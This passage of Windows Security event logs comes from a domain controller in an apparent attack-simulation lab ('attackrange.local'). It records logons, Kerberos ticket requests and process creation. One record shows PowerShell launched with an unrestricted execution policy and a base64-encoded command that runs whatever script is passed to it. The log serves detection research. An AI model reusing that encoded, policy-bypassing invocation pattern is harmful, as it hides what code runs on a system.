information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253336 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19F169 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253335 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19E95B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253334 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D615 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253376 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AA018 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253375 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AA018 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {596E65B8-2C2F-5905-CB83-396ABF100311} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253374 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {596E65B8-2C2F-5905-CB83-396ABF100311} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253373 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {596E65B8-2C2F-5905-CB83-396ABF100311} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253372 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253371 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4EEB - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9b0 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12dc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253370 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4EEB - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12dc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1064 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253389 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4EEB - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x480 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4d4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESE9DA.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC646DA5625031486685D7A5AA4851F6F.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253388 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4EEB - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12dc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\tlz5llsh.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253387 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xae4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10a0 - Creator Process Name: C:\Windows\System32\SIHClient.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253386 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13d8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf90 - Creator Process Name: C:\Windows\System32\UsoClient.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253385 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1054 - New Process Name: C:\Windows\System32\wsqmcons.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\System32\wsqmcons.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253384 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a0 - New Process Name: C:\Windows\System32\SIHClient.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\System32\sihclient.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253383 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf90 - New Process Name: C:\Windows\System32\UsoClient.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\usoclient.exe StartScan - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253382 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1244 - New Process Name: C:\Windows\System32\taskhostw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: taskhostw.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253381 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AA874 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253380 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AA874 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {007ACD43-1859-FDA6-62CC-33D412A47F61} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253379 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {007ACD43-1859-FDA6-62CC-33D412A47F61} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253378 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {007ACD43-1859-FDA6-62CC-33D412A47F61} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253377 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253432 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B2D84 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:46 PM -LogName=Security 